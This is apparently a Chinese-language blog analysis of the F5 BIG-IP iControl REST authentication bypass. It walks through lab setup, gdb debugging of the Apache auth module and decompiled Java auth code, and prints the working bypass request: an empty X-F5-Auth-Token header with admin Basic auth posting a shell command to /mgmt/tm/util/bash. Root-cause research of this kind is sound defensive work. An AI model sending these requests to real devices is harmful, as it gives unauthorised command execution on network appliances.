影响范围:
Product | Branch | Versions known to be vulnerable | Fixes introduced in | Severity | CVSSv3 score1 | Vulnerable component or feature |
---|---|---|---|---|---|---|
BIG-IP (LTM, AAM, Advanced WAF, AFM, Analytics, APM, ASM, DDHD, DNS, FPS, GTM, Link Controller, PEM, SSLO) | 16.x | 16.0.0 - 16.0.1 | 16.1.0 16.0.1.1* | Critical | 9.8 | iControl REST API |
15.x | 15.1.0 - 15.1.2 | 15.1.2.1 | ||||
14.x | 14.1.0 - 14.1.3 | 14.1.4* | ||||
13.x | 13.1.0 - 13.1.3 | 13.1.3.6 | ||||
12.x | 12.1.0 - 12.1.5 | 12.1.5.3** | ||||
11.x | None | Not applicable | ||||
BIG-IQ Centralized Management | 8.x | None | 8.0.0 | Critical | 9.8 | iControl REST API |
7.x | 7.1.0 7.0.0 | 7.1.0.3 7.0.0.2 | ||||
6.x | 6.0.0 - 6.1.0 | None | ||||
F5OS | 1.x | None | Not applicable | Not vulnerable | None | None |
Traffix SDC | 5.x | None | Not applicable | Not vulnerable | None | None |
作为java菜鸟,借此框架加深对java的理解以及各种分析手段的学习,推荐同样作为java新手的人可以看一看,大佬可以直接跳过
在F5下载网站注册后可成功下载虚拟机版的镜像文件,我这里下载了16.0.0版本的虚拟机ovf,使用vmware可以直接导入
注意在注册账户的时候在国家选择的时候不要瞎选,我开始选了一个不知名的国家,在下载时候报错说软件禁运,不让下载,折腾了半天重新注册了一个账号才搞定。
官网提供F5 rest api说明文档
正常的访问web界面的诸多功能的话还需要一个有效的license key,但是这里为了调试漏洞不是很必须,所以省了这个步骤。
vmware导入ovf文件后会要求输入口令密码,默认是root/default,输入后会要求更改默认口令
进入后输入config可以更改虚拟机ip,我将虚拟机的ip更改为了172.16.113.247
打开web界面https://172.16.113.247即可使用admin/刚刚设置的密码登陆
默认发送,会报401, Server为Apache
给一个错误的Authorization认证头(为admin:的base64值),依然会报401, Server为Apache
去掉Authorization认证头,加一个X-F5-Auth-Token认证头,依然报401,但是此时Server为Jetty
然而,当两个头都存在的时候,认证会绕过并执行命令:
通过这几个包的测试我们可以得出结论,当存在X-F5-Auth-Token头时,apache不检查basic认证头,jetty在检查时,只检查Authorization的用户名不检查密码,但是为什么会这样呢,尝试分析
简单分析可以知道443是httpd开启的,其使用了apache 2.4.6框架
[[email protected]:NO LICENSE:Standalone] ~ # netstat -antp | grep :443 tcp6 0 0 :::443 :::* LISTEN 4795/httpd [[email protected]:NO LICENSE:Standalone] ~ # httpd -v Server version: BIG-IP 67.el7.centos.5.0.0.12 (customized Apache/2.4.6) (CentOS) Server built: Jun 23 2020 16:37:41
进入httpd配置目录/etc/httpd/
[[email protected]:NO LICENSE:Standalone] httpd # cd /etc/httpd/ [[email protected]:NO LICENSE:Standalone] httpd # grep -r "/mgmt" ./* Binary file ./modules/mod_f5_auth_cookie.so matches Binary file ./modules/mod_auth_pam.so matches ./run/config/httpd.conf:<ProxyMatch /mgmt/> ./run/config/httpd.conf:RewriteRule ^/mgmt$ /mgmt/ [PT] ./run/config/httpd.conf:RewriteRule ^/mgmt(/vmchannel/.*) $1 [PT] ./run/config/httpd.conf:ProxyPass /mgmt/rpm ! ./run/config/httpd.conf:ProxyPass /mgmt/job ! ./run/config/httpd.conf:ProxyPass /mgmt/endpoint ! ./run/config/httpd.conf:ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0 ./run/config/httpd.conf:ProxyPassReverse /mgmt/ http://localhost:8100/mgmt/ ./run/udev/data/n6:E:SYSTEMD_ALIAS=/sys/subsystem/net/devices/mgmt
打开https.conf,找到以下相关部分:
<ProxyMatch /mgmt/> # Access is restricted to traffic from 127.0.0.1 Require ip 127.0.0.1 Require ip 127.4.2.2 # This is an exact copy of the authentication settings of the document root. # If a connection is attempted from anywhere but 127.*.*.*, then it will have # to be authenticated. # we control basic auth via this file... IncludeOptional /etc/httpd/conf/basic_auth*.conf AuthName "Enterprise Manager" AuthPAM_Enabled on AuthPAM_ExpiredPasswordsSupport on require valid-user </ProxyMatch> RewriteEngine on RewriteRule ^/mgmt$ /mgmt/ [PT] RewriteRule ^/mgmt(/vmchannel/.*) $1 [PT] # Don't proxy REST rpm endpoint requests. ProxyPass /mgmt/rpm ! ProxyPass /mgmt/job ! ProxyPass /mgmt/endpoint ! # Proxy REST service bus requests. # We always retry so if we restart the REST service bus, Apache # will quickly re-discover it. (The default is 60 seconds.) # If you have retry timeout > 0, Apache timers may go awry # when clock is reset. It may never re-enable the proxy. ProxyPass /vmchannel/ http://localhost:8585/vmchannel/ retry=0 ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0
可以了解到请求/mgmt/相关url开启了AuthPAM_Enabled,启用auth会调用/usr/lib/httpd/modules/mod_auth_pam.so判断鉴权,尝试逆向/usr/lib/httpd/modules/mod_auth_pam.so文件
IDA中,将汇编统一解析为intel风格,mov dst source
参考Apache Hook机制解析(上)——钩子机制的实现apache的mod都是通过钩子实现的,逆向mod_auth_pam.so发现
int pam_register_hooks()
{
ap_hook_check_authz(sub_5AF0, 0, 0, 20, 1);
return ap_hook_check_access_ex(sub_5AF0, 0, 0, 20, 1);
}
认证检查的具体代码都在sub_5AF0当中
这个函数很大,而且由于不知名原因不能反编译拿到伪代码,但是可以找到"X-F5-Auth-Token"的调用:
由于代码量较大,看起来比较累,计划结合动态调试搞清楚逻辑,
由于apache默认的话会开启子进程来处理,调试进程这个有点麻烦,为了方便调试搞清楚apache认证绕过过程,以单线程的方式重启httpd,
/usr/sbin/httpd -DTrafficShield -DAVRUI -DWebAccelerator -DSAM -X
通过查看指定进程号下的maps文件,即可知道mod_auth_pam.so的加载基地址
[[email protected]:NO LICENSE:Standalone] config # cat /proc/$(ps -ef |grep "/usr/sbin/httpd -D" | grep -v "grep" | awk '{print $2}')/maps | grep mod_auth_pam.so | grep r-xp
563aa000-563b7000 r-xp 00000000 fd:06 168436 /usr/lib/httpd/modules/mod_auth_pam.so
在mod_auth_pam.so的loc_72D0地址处下断点,即hex(0x563aa000+0x72d0)=0x563b12d0
(gdb) b *0x563b12d0
Breakpoint 1 at 0x563b12d0
然后发送数据包(注意,这个数据包里面是没有X-F5-Auth-Token头的):
POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.247
Authorization: Basic YWRtaW46
Connection: close
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
继续调试程序,当运行至0x563b12ee(即test eax, eax)时
0x563b12ee in ?? () from /etc/httpd/modules/mod_auth_pam.so
(gdb) i r $eax
eax 0x0 0
可以看出,从头里面取出X-F5-Auth-Token返回值为0,会继续运行,获取其它参数的值
进而会使用从头Authorization中取到的值拿去loc_5f28做验证:
自然,这里是通过不了认证的,会由apache返回登陆失败
然而,如果重新发一个存在X-F5-Auth-Token头的数据包:
POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.247
X-F5-Auth-Token:
Connection: close
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
认证校验这里则会奇怪的绕过对其它头信息的获取及校验,直接扔给http://localhost:8100/mgmt/去做下一步操作
前面已经分析清楚了,如果存在X-F5-Auth-Token则会绕过apache的认证机制,绕过之后,相关信息会被转发给local:8100来做下一步的处理,
查看一下8100是哪个程序在处理:
[[email protected]:NO LICENSE:Standalone] conf # netstat -antp | grep :8100 tcp 1 0 127.0.0.1:55220 127.0.0.1:8100 CLOSE_WAIT 28239/httpd tcp 1 0 127.0.0.1:49718 127.0.0.1:8100 CLOSE_WAIT 5406/icr_eventd tcp 1 0 127.0.0.1:51758 127.0.0.1:8100 CLOSE_WAIT 28255/httpd tcp 1 0 127.0.0.1:59548 127.0.0.1:8100 CLOSE_WAIT 28270/httpd tcp 1 0 127.0.0.1:43864 127.0.0.1:8100 CLOSE_WAIT 28209/httpd tcp 1 0 127.0.0.1:47692 127.0.0.1:8100 CLOSE_WAIT 24091/httpd tcp6 0 0 127.0.0.1:8100 :::* LISTEN 21186/java tcp6 0 0 127.0.0.1:8100 127.0.0.1:49718 FIN_WAIT2 21186/java [[email protected]:NO LICENSE:Standalone] cat /proc/21186/cmdline /usr/lib/jvm/jre/bin/java -D java.util.logging.manager=com.f5.rest.common.RestLogManager -D java.util.logging.config.file=/etc/restjavad.log.conf -D log4j.defaultInitOverride=true -D org.quartz.properties=/etc/quartz.properties -Xss384k -XX:+PrintFlagsFinal -D sun.jnu.encoding=UTF-8 -D file.encoding=UTF-8 -XX:+PrintGC -Xloggc:/var/log/restjavad-gc.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=2 -XX:GCLogFileSize=1M -XX:+PrintGCDateStamps -XX:+PrintGCTimeStamps -XX:MaxPermSize=72m -Xms96m -Xmx192m -XX:-UseLargePages -XX:StringTableSize=60013 -classpath :/usr/share/java/rest/f5.rest.adc.bigip.jar:/usr/share/java/rest/f5.rest.adc.shared.jar:/usr/share/java/rest/f5.rest.asm.jar:/usr/share/java/rest/f5.rest.icr.jar:/usr/share/java/rest/f5.rest.jar:/usr/share/java/rest/f5.rest.live-update.jar:/usr/share/java/rest/f5.rest.nsyncd.jar:/usr/share/java/rest/libs/axis-1.1.jar:/usr/share/java/rest/libs/bcpkix-1.59.jar:/usr/share/java/rest/libs/bcprov-1.59.jar:/usr/share/java/rest/libs/cal10n-api-0.7.4.jar:/usr/share/java/rest/libs/commonj.sdo-2.1.1.jar:/usr/share/java/rest/libs/commons-codec.jar:/usr/share/java/rest/libs/commons-discovery.jar:/usr/share/java/rest/libs/commons-exec-1.3.jar:/usr/share/java/rest/libs/commons-io-1.4.jar:/usr/share/java/rest/libs/commons-lang.jar:/usr/share/java/rest/libs/commons-lang3-3.2.1.jar:/usr/share/java/rest/libs/commons-logging.jar:/usr/share/java/rest/libs/concurrent-trees-2.5.0.jar:/usr/share/java/rest/libs/core4j-0.5.jar:/usr/share/java/rest/libs/eclipselink-2.4.2.jar:/usr/share/java/rest/libs/f5.asmconfig.jar:/usr/share/java/rest/libs/f5.rest.mcp.mcpj.jar:/usr/share/java/rest/libs/f5.rest.mcp.schema.jar:/usr/share/java/rest/libs/f5.soap.licensing.jar:/usr/share/java/rest/libs/federation.jar:/usr/share/java/rest/libs/gson-2.8.2.jar:/usr/share/java/rest/libs/guava-20.0.jar:/usr/share/java/rest/libs/httpasyncclient.jar:/usr/share/java/rest/libs/httpclient.jar:/usr/share/java/rest/libs/httpcore-nio.jar:/usr/share/java/rest/libs/httpcore.jar:/usr/share/java/rest/libs/httpmime.jar:/usr/share/java/rest/libs/icrd-src.jar:/usr/share/java/rest/libs/icrd.jar:/usr/share/java/rest/libs/jackson-annotations-2.9.5.jar:/usr/share/java/rest/libs/jackson-core-2.9.5.jar:/usr/share/java/rest/libs/jackson-databind-2.9.5.jar:/usr/share/java/rest/libs/jackson-dataformat-yaml-2.9.5.jar:/usr/share/java/rest/libs/javax.persistence-2.1.1.jar:/usr/share/java/rest/libs/javax.servlet-api.jar:/usr/share/java/rest/libs/jaxrpc-1.1.jar:/usr/share/java/rest/libs/jetty-all.jar:/usr/share/java/rest/libs/joda-time-2.9.9.jar:/usr/share/java/rest/libs/jsch-0.1.53.jar:/usr/share/java/rest/libs/json_simple.jar:/usr/share/java/rest/libs/jsr311-api-1.1.1.jar:/usr/share/java/rest/libs/libthrift.jar:/usr/share/java/rest/libs/log4j.jar:/usr/share/java/rest/libs/lucene-analyzers-common-4.10.4.jar:/usr/share/java/rest/libs/lucene-core-4.10.4.jar:/usr/share/java/rest/libs/lucene-facet-4.10.4.jar:/usr/share/java/rest/libs/odata4j-0.7.0-core.jar:/usr/share/java/rest/libs/quartz-2.2.1.jar:/usr/share/java/rest/libs/slf4j-api.jar:/usr/share/java/rest/libs/slf4j-ext-1.6.3.jar:/usr/share/java/rest/libs/slf4j-log4j12.jar:/usr/share/java/rest/libs/snakeyaml-1.18.jar:/usr/share/java/rest/libs/swagger-annotations-1.5.19.jar:/usr/share/java/rest/libs/swagger-core-1.5.19.jar:/usr/share/java/rest/libs/swagger-models-1.5.19.jar:/usr/share/java/rest/libs/swagger-parser-1.0.35.jar:/usr/share/java/rest/libs/validation-api-1.1.0.Final.jar:/usr/share/java/rest/libs/wsdl4j-1.1.jar:/usr/share/java/f5-avr-reporter-api.jar com.f5.rest.workers.RestWorkerHost --port=8100 --outboundConnectionTimeoutSeconds=60 --icrdConnectionTimeoutSeconds=60 --workerJarDirectory=/usr/share/java/rest --configIndexDirectory=/var/config/rest/index --storageDirectory=/var/config/rest/storage --storageConfFile=/etc/rest.storage.BIG-IP.conf --restPropertiesFiles=/etc/rest.common.properties,/etc/rest.BIG-IP.properties --machineId=ff716f6f-1be0-4de5-8ca8-17beb749e271
我看到基本都是/usr/share/java/rest/这个目录下的jar包,所以偷个懒,把/usr/share/java/rest/目录下的所有jar包反编译
由漏洞复现中的数据包我们可以大概猜测,X-F5-Auth-Token绕过了apache认证,那Authorization: Basic YWRtaW46应该绕过了java这里的认证,由于在Authorization这里我们只是放了admin:的base64的值,所以猜测java这里并没有去真正的校验密码,只是检查了一下用户名,所以在看java时候,我们也可以有挑选的去找我们的切入点,从Authorization开始下手
动态调试:
通过以下方式可以得知进程运行目录为 /var/service/restjavad
[[email protected]:NO LICENSE:Standalone] config # ls -al /proc/21186/ total 0 dr-xr-xr-x. 9 root root 0 May 16 08:17 . dr-xr-xr-x. 300 root root 0 May 16 07:23 .. dr-xr-xr-x. 2 root root 0 May 16 16:51 attr -rw-r--r--. 1 root root 0 May 16 16:51 autogroup -r--------. 1 root root 0 May 16 16:51 auxv -r--r--r--. 1 root root 0 May 16 16:51 cgroup --w-------. 1 root root 0 May 16 16:51 clear_refs -r--r--r--. 1 root root 0 May 16 09:05 cmdline -rw-r--r--. 1 root root 0 May 16 16:51 comm -rw-r--r--. 1 root root 0 May 16 16:51 coredump_filter -r--r--r--. 1 root root 0 May 16 16:51 cpuset lrwxrwxrwx. 1 root root 0 May 16 16:51 cwd -> /var/service/restjavad -r--------. 1 root root 0 May 16 16:51 environ lrwxrwxrwx. 1 root root 0 May 16 16:51 exe -> /usr/java/java-1.7.0-openjdk/jre-abrt/bin/java dr-x------. 2 root root 0 May 16 16:51 fd dr-x------. 2 root root 0 May 16 16:51 fdinfo -rw-r--r--. 1 root root 0 May 16 16:51 gid_map -r--------. 1 root root 0 May 16 16:51 io -r--r--r--. 1 root root 0 May 16 16:51 limits -rw-r--r--. 1 root root 0 May 16 16:51 loginuid dr-x------. 2 root root 0 May 16 16:51 map_files -r--r--r--. 1 root root 0 May 16 16:51 maps -rw-------. 1 root root 0 May 16 16:51 mem -r--r--r--. 1 root root 0 May 16 16:51 mountinfo -r--r--r--. 1 root root 0 May 16 16:51 mounts -r--------. 1 root root 0 May 16 16:51 mountstats dr-xr-xr-x. 6 root root 0 May 16 16:51 net dr-x--x--x. 2 root root 0 May 16 16:51 ns -r--r--r--. 1 root root 0 May 16 16:51 numa_maps -rw-r--r--. 1 root root 0 May 16 16:51 oom_adj -r--r--r--. 1 root root 0 May 16 16:51 oom_score -rw-r--r--. 1 root root 0 May 16 16:51 oom_score_adj -r--r--r--. 1 root root 0 May 16 16:51 pagemap -r--r--r--. 1 root root 0 May 16 16:51 personality -rw-r--r--. 1 root root 0 May 16 16:51 projid_map lrwxrwxrwx. 1 root root 0 May 16 16:51 root -> / -rw-r--r--. 1 root root 0 May 16 16:51 sched -r--r--r--. 1 root root 0 May 16 16:51 schedstat -r--r--r--. 1 root root 0 May 16 16:51 sessionid -rw-r--r--. 1 root root 0 May 16 16:51 setgroups -r--r--r--. 1 root root 0 May 16 16:51 smaps -r--r--r--. 1 root root 0 May 16 16:51 stack -r--r--r--. 1 root root 0 May 16 09:04 stat -r--r--r--. 1 root root 0 May 16 09:04 statm -r--r--r--. 1 root root 0 May 16 09:03 status -r--r--r--. 1 root root 0 May 16 16:51 syscall dr-xr-xr-x. 43 root root 0 May 16 16:51 task -r--r--r--. 1 root root 0 May 16 16:51 timers -rw-r--r--. 1 root root 0 May 16 16:51 uid_map -r--r--r--. 1 root root 0 May 16 16:51 wchan
[[email protected]:NO LICENSE:Standalone] restjavad # ls -al /var/service/restjavad total 20 drwxr-xr-x. 5 root root 4096 May 16 07:24 . drwxr-xr-x. 107 root root 4096 Jun 23 2020 .. drwxr-xr-x. 2 root root 4096 Jun 23 2020 deps drwxr-xr-x. 2 root root 4096 Jun 23 2020 requires lrwxrwxrwx. 1 root root 31 Jun 23 2020 run -> /etc/bigstart/scripts/restjavad drwx------. 2 root root 4096 May 16 07:27 supervise
修改run文件,即/etc/bigstart/scripts/restjavad,增加一行
JVM_OPTIONS+=" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777"
同时,利用 tmsh
将jdwp监听端口8777开放出去
[[email protected]:NO LICENSE:Standalone] / # tmsh
[email protected](localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos)# security firewall
[email protected](localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos.security.firewall)# modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } }
然后直接杀掉这个进程,会自动重启并开放8777调试端口
根据
[[email protected]:NO LICENSE:Standalone] cat /proc/21186/cmdline /usr/lib/jvm/jre/bin/java -D java.util.logging.manager=com.f5.rest.common.RestLogManager -D java.util.logging.config.file=/etc/restjavad.log.conf -D log4j.defaultInitOverride=true -D org.quartz.properties=/etc/quartz.properties -Xss384k -XX:+PrintFlagsFinal -D sun.jnu.encoding=UTF-8 -D file.encoding=UTF-8 -XX:+PrintGC -Xloggc:/var/log/restjavad-gc.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=2 -XX:GCLogFileSize=1M -XX:+PrintGCDateStamps -XX:+PrintGCTimeStamps -XX:MaxPermSize=72m -Xms96m -Xmx192m -XX:-UseLargePages -XX:StringTableSize=60013 -classpath :/usr/share/java/rest/f5.rest.adc.bigip.jar:/usr/share/java/rest/f5.rest.adc.shared.jar:/usr/share/java/rest/f5.rest.asm.jar:/usr/share/java/rest/f5.rest.icr.jar:/usr/share/java/rest/f5.rest.jar:/usr/share/java/rest/f5.rest.live-update.jar:/usr/share/java/rest/f5.rest.nsyncd.jar:/usr/share/java/rest/libs/axis-1.1.jar:/usr/share/java/rest/libs/bcpkix-1.59.jar:/usr/share/java/rest/libs/bcprov-1.59.jar:/usr/share/java/rest/libs/cal10n-api-0.7.4.jar:/usr/share/java/rest/libs/commonj.sdo-2.1.1.jar:/usr/share/java/rest/libs/commons-codec.jar:/usr/share/java/rest/libs/commons-discovery.jar:/usr/share/java/rest/libs/commons-exec-1.3.jar:/usr/share/java/rest/libs/commons-io-1.4.jar:/usr/share/java/rest/libs/commons-lang.jar:/usr/share/java/rest/libs/commons-lang3-3.2.1.jar:/usr/share/java/rest/libs/commons-logging.jar:/usr/share/java/rest/libs/concurrent-trees-2.5.0.jar:/usr/share/java/rest/libs/core4j-0.5.jar:/usr/share/java/rest/libs/eclipselink-2.4.2.jar:/usr/share/java/rest/libs/f5.asmconfig.jar:/usr/share/java/rest/libs/f5.rest.mcp.mcpj.jar:/usr/share/java/rest/libs/f5.rest.mcp.schema.jar:/usr/share/java/rest/libs/f5.soap.licensing.jar:/usr/share/java/rest/libs/federation.jar:/usr/share/java/rest/libs/gson-2.8.2.jar:/usr/share/java/rest/libs/guava-20.0.jar:/usr/share/java/rest/libs/httpasyncclient.jar:/usr/share/java/rest/libs/httpclient.jar:/usr/share/java/rest/libs/httpcore-nio.jar:/usr/share/java/rest/libs/httpcore.jar:/usr/share/java/rest/libs/httpmime.jar:/usr/share/java/rest/libs/icrd-src.jar:/usr/share/java/rest/libs/icrd.jar:/usr/share/java/rest/libs/jackson-annotations-2.9.5.jar:/usr/share/java/rest/libs/jackson-core-2.9.5.jar:/usr/share/java/rest/libs/jackson-databind-2.9.5.jar:/usr/share/java/rest/libs/jackson-dataformat-yaml-2.9.5.jar:/usr/share/java/rest/libs/javax.persistence-2.1.1.jar:/usr/share/java/rest/libs/javax.servlet-api.jar:/usr/share/java/rest/libs/jaxrpc-1.1.jar:/usr/share/java/rest/libs/jetty-all.jar:/usr/share/java/rest/libs/joda-time-2.9.9.jar:/usr/share/java/rest/libs/jsch-0.1.53.jar:/usr/share/java/rest/libs/json_simple.jar:/usr/share/java/rest/libs/jsr311-api-1.1.1.jar:/usr/share/java/rest/libs/libthrift.jar:/usr/share/java/rest/libs/log4j.jar:/usr/share/java/rest/libs/lucene-analyzers-common-4.10.4.jar:/usr/share/java/rest/libs/lucene-core-4.10.4.jar:/usr/share/java/rest/libs/lucene-facet-4.10.4.jar:/usr/share/java/rest/libs/odata4j-0.7.0-core.jar:/usr/share/java/rest/libs/quartz-2.2.1.jar:/usr/share/java/rest/libs/slf4j-api.jar:/usr/share/java/rest/libs/slf4j-ext-1.6.3.jar:/usr/share/java/rest/libs/slf4j-log4j12.jar:/usr/share/java/rest/libs/snakeyaml-1.18.jar:/usr/share/java/rest/libs/swagger-annotations-1.5.19.jar:/usr/share/java/rest/libs/swagger-core-1.5.19.jar:/usr/share/java/rest/libs/swagger-models-1.5.19.jar:/usr/share/java/rest/libs/swagger-parser-1.0.35.jar:/usr/share/java/rest/libs/validation-api-1.1.0.Final.jar:/usr/share/java/rest/libs/wsdl4j-1.1.jar:/usr/share/java/f5-avr-reporter-api.jar com.f5.rest.workers.RestWorkerHost --port=8100 --outboundConnectionTimeoutSeconds=60 --icrdConnectionTimeoutSeconds=60 --workerJarDirectory=/usr/share/java/rest --configIndexDirectory=/var/config/rest/index --storageDirectory=/var/config/rest/storage --storageConfFile=/etc/rest.storage.BIG-IP.conf --restPropertiesFiles=/etc/rest.common.properties,/etc/rest.BIG-IP.properties --machineId=ff716f6f-1be0-4de5-8ca8-17beb749e271
可知,主类为com.f5.rest.workers.RestWorkerHost
在idea按两下shift搜索RestWorkerHost即可搜到文件RestWorkerHost.class
经过大佬指点,我把/usr/share/java/rest目录下面的jar包全部反编译,然后用VS Code打开审计
先看一下RestWorkerHost.java,从其中main函数开始向下审计
public static void main(String[] args) throws Exception { Thread.setDefaultUncaughtExceptionHandler(DieOnUncaughtErrorHandler.getHandler()); CommandArgumentParser.parse(RestWorkerHost.class, args); try { host = new RestWorkerHost(); host.start(); } catch (Exception var5) { LOGGER.severe(RestHelper.throwableStackToString(var5)); } finally { Thread.sleep(1000L); System.exit(1); } }
实例化了一个RestWorkerHost对象,然后调用start函数
void start() throws Exception { ... this.server = new RestServer(port); ... this.server.start(); ... }
在start函数中,实例化了一个RestServer对象server,然后调用start函数,在这里一定不要急着去看RestServer类的start函数,先看看RestServer这个类的构造函数
public RestServer(int port) { this(port, new JettyHost()); } public RestServer(int port, JettyHost jettyHost) { this.pathToWorkerMap = new ConcurrentSkipListMap(); this.workerToCollectionPathsMap = new ConcurrentSkipListMap(); this.checkRestWorkerShutdownMillis = (int)TimeUnit.MINUTES.toMillis(1L); this.supportWorkersStarted = false; this.allowStackTracesInPublicResponse = false; this.storageUri = null; this.configIndexUri = null; this.groupResolverUri = null; this.deviceResolverUri = null; this.forwarderUri = null; this.machineId = null; this.discoveryAddress = null; this.scheduleTaskManager = (new ScheduleTaskManager()).setLogger(LOGGER); this.readyWorkerSet = new ConcurrentSkipListSet(); this.indexRebuildCoordinator = new RunnableCoordinator(1); this.forwardRequestValidator = null; if (port < 0) { throw new IllegalArgumentException("port"); } else { this.listenPort = port; this.jettyHost = jettyHost; this.processRequestsTask = new Runnable() { public void run() { RestServer.this.processQueuedRequests(); } }; } }
可以看出,这里又会实例化一个JettyHost对象,然后我们再去看RestServer类的start函数
public int start() throws Exception { ...... this.listenPort = this.jettyHost.start(this.listenPort, RestWorkerHost.isPublic, this.extraConfig); ...... }
可以看出又会去调用jettyHost这个对象的start函数,JettyHost这个类没有构造函数,我们直接去看JettyHost这个类的start函数
public int start(int port, boolean isPublic, com.f5.rest.app.JettyHost.ExtraConfig extraConfig) throws Exception { ...... ServletContextHandler contextHandler = new ServletContextHandler(); contextHandler.setContextPath("/"); ServletHolder asyncHolder = contextHandler.addServlet(RestServerServlet.class, "/*"); asyncHolder.setAsyncSupported(true); handlers.addHandler(contextHandler); ...... }
可以看出,针对性的处理的代码位于RestServerServlet中,找到了对应处理的servlet,其实就很简单了,剩下的工作就去研究servlet里面的内容就好了,主要逻辑都在其中
由于其继承了HttpServlet,所以我们直接看重载的service函数
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { final AsyncContext context = req.startAsync(); context.start(new Runnable() { public void run() { RestOperation op = null; try { op = RestServerServlet.this.createRestOperationFromServletRequest((HttpServletRequest)context.getRequest()); ...... } } catch (Exception var4) { ...... } op.setCompletion(new RestRequestCompletion() { public void completed(RestOperation operation) { RestServerServlet.sendRestOperation(context, operation); } public void failed(Exception ex, RestOperation operation) { RestServerServlet.failRequest(context, operation, ex, operation.getStatusCode()); } }); try { ServletInputStream inputStream = context.getRequest().getInputStream(); inputStream.setReadListener(RestServerServlet.this.new ReadListenerImpl(context, inputStream, op)); } catch (IOException var3) { RestServerServlet.failRequest(context, op, var3, 500); } } }); }
其中,createRestOperationFromServletRequest针对 http包头做了一些处理,但是我们关注的是根据request的处理动作,所以我们需要聚焦于setReadListener,去看看ReadListenerImpl的处理,根据ReadListener接口文档,我们直接看ReadListenerImpl这个类实现的onAllDataRead函数
public void onAllDataRead() throws IOException { if (this.outputStream != null) { if (this.operation.getContentType() == null) { this.operation.setIncomingContentType("application/json"); } if (RestHelper.contentTypeUsesBinaryBody(this.operation.getContentType())) { byte[] binaryBody = this.outputStream.toByteArray(); this.operation.setBinaryBody(binaryBody, this.operation.getContentType()); } else { String body = this.outputStream.toString(StandardCharsets.UTF_8.name()); this.operation.setBody(body, this.operation.getContentType()); } } RestOperationIdentifier.setIdentityFromAuthenticationData(this.operation, new Runnable() { public void run() { if (!RestServer.trySendInProcess(ReadListenerImpl.this.operation)) { RestServerServlet.failRequest(ReadListenerImpl.this.context, ReadListenerImpl.this.operation, new RestWorkerUriNotFoundException(ReadListenerImpl.this.operation.getUri().toString()), 404); } } }); RestServer.trace(this.operation); }
其中,第一个if判断是处理包的content-type头信息,不是很重要,关键的处理在红框中,看后边setIdentityFromAuthenticationData这个方法:
public static void setIdentityFromAuthenticationData(RestOperation request, Runnable completion) { if (!setIdentityFromDeviceAuthToken(request, completion)) { if (setIdentityFromF5AuthToken(request)) { completion.run(); } else if (setIdentityFromBasicAuth(request)) { completion.run(); } else { completion.run(); } } }
看一下if里面的判断setIdentityFromDeviceAuthToken, 会检查包头里面有没有em_server_auth_token,没有则返回false,我们这里没有,所以直接返回false
然后会进入setIdentityFromF5AuthToken方法
private static boolean setIdentityFromF5AuthToken(RestOperation request) { AuthTokenItemState token = request.getXF5AuthTokenState(); if (token == null) { return false; } else { request.setIdentityData(token.userName, token.user, AuthzHelper.toArray(token.groupReferences)); return true; } }
由于我们并没有设置X-F5-Auth-Token的值,所以此处返回token是null,直接返回false
自然,后边就会进入setIdentityFromBasicAuth方法
private static boolean setIdentityFromBasicAuth(RestOperation request) { String authHeader = request.getBasicAuthorization(); if (authHeader == null) { return false; } else { BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader); request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); return true; } }
由于我们设置了Authorization的值,所以authHeader的值为YWRtaW46,进入setIdentityData
public RestOperation setIdentityData(String userName, RestReference userReference, RestReference[] groupReferences) { if (userName == null && !RestReference.isNullOrEmpty(userReference)) { String segment = UrlHelper.getLastPathSegment(userReference.link); if (userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[]{WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment})))) { userName = segment; } } if (userName != null && RestReference.isNullOrEmpty(userReference)) { userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[]{WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName}))); } this.identityData = new RestOperation.IdentityData(); this.identityData.userName = userName; this.identityData.userReference = userReference; this.identityData.groupReferences = groupReferences; return this; }
关键在于红框处,这里会根据Authorization头的值解码获得的username生成一个新的userReference,到底怎么根据用户名生成的reference其实我们也不需要太过深究,动态调试知道是这么个结构就可以了:
这一步完了之后,再回顾setIdentityFromAuthenticationData
public static void setIdentityFromAuthenticationData(RestOperation request, Runnable completion) { if (!setIdentityFromDeviceAuthToken(request, completion)) { if (setIdentityFromF5AuthToken(request)) { completion.run(); } else if (setIdentityFromBasicAuth(request)) { completion.run(); } else { completion.run(); } } }
调用completion.run(),这个函数在调用函数onAllDataRead中规定好了
public void onAllDataRead() throws IOException { if (this.outputStream != null) { if (this.operation.getContentType() == null) { this.operation.setIncomingContentType("application/json"); } if (RestHelper.contentTypeUsesBinaryBody(this.operation.getContentType())) { byte[] binaryBody = this.outputStream.toByteArray(); this.operation.setBinaryBody(binaryBody, this.operation.getContentType()); } else { String body = this.outputStream.toString(StandardCharsets.UTF_8.name()); this.operation.setBody(body, this.operation.getContentType()); } } RestOperationIdentifier.setIdentityFromAuthenticationData(this.operation, new Runnable() { public void run() { if (!RestServer.trySendInProcess(ReadListenerImpl.this.operation)) { RestServerServlet.failRequest(ReadListenerImpl.this.context, ReadListenerImpl.this.operation, new RestWorkerUriNotFoundException(ReadListenerImpl.this.operation.getUri().toString()), 404); } } }); RestServer.trace(this.operation); }
跟着先去看一下trySendInProcess
